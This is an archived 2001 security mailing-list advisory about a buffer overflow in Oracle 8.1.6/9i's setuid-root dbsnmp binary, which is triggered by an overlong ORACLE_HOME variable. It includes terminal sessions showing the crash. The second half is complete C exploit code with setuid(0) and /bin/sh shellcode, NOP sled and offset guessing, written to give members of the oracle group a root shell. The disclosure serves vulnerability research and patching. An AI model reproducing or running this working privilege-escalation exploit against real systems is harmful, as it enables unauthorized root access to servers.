|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Juan Manuel Pascual Escriba (pask
plazasite.com)Date: Thu Aug 02 2001 - 02:27:27 CDT
WWW.PLAZASITE.COM
Systems & Security Division
Title: Local Vulnerability in dbsnmp binary
Date: 13-07-2001
Platform: Only tested in Linux but can be exported to others.
Impact: Users belonging to oracle group can obtain euid=0
Author: Juan Manuel Pascual Escriba <pask
plazasite.com>
Status: Vendor contacted at 18th July 2001
PROBLEM SUMMARY:
Buffer overflow exists if ORACLE_HOME enviroment variable if is defined
with a size greater than 749 bytes
[oracle
proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
[oracle
proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle
proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
[oracle
proves1 8.1.6]$[oracle
proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracle
proves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault
This overflow exists in newer products like Oracle 9i and maybe in older
too.
[oracle
proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
[oracle
proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle
proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
[oracle
proves1 iAS]$ Failed to initialize nl component,error=462
[oracle
proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
[oracle
proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault
IMPACT:
Any user belonging to oracle group can obtain euid=0.
SOLUTION:
Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...
Wait for a patch.(??)
SPECIAL THANKS:
Francisco Fernandez <ffernandez
pandasoftware.com>
Ivan Sanchez
<isanchez
plazasite.com>
Mundo Alonso-Cuevillas <mundo
plazasite.com>
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba pask
plazasite.com
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.
In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."
L.E.Aute
This vulnerability was researched by:
Juan Manuel Pascual <pask
plazasite.com>
Special thanks to:
Ivan Sanchez <isanchez
plazasite.com>
Mundo Alonso-Cuevillas <mundo
plazasite.com>
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"
char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]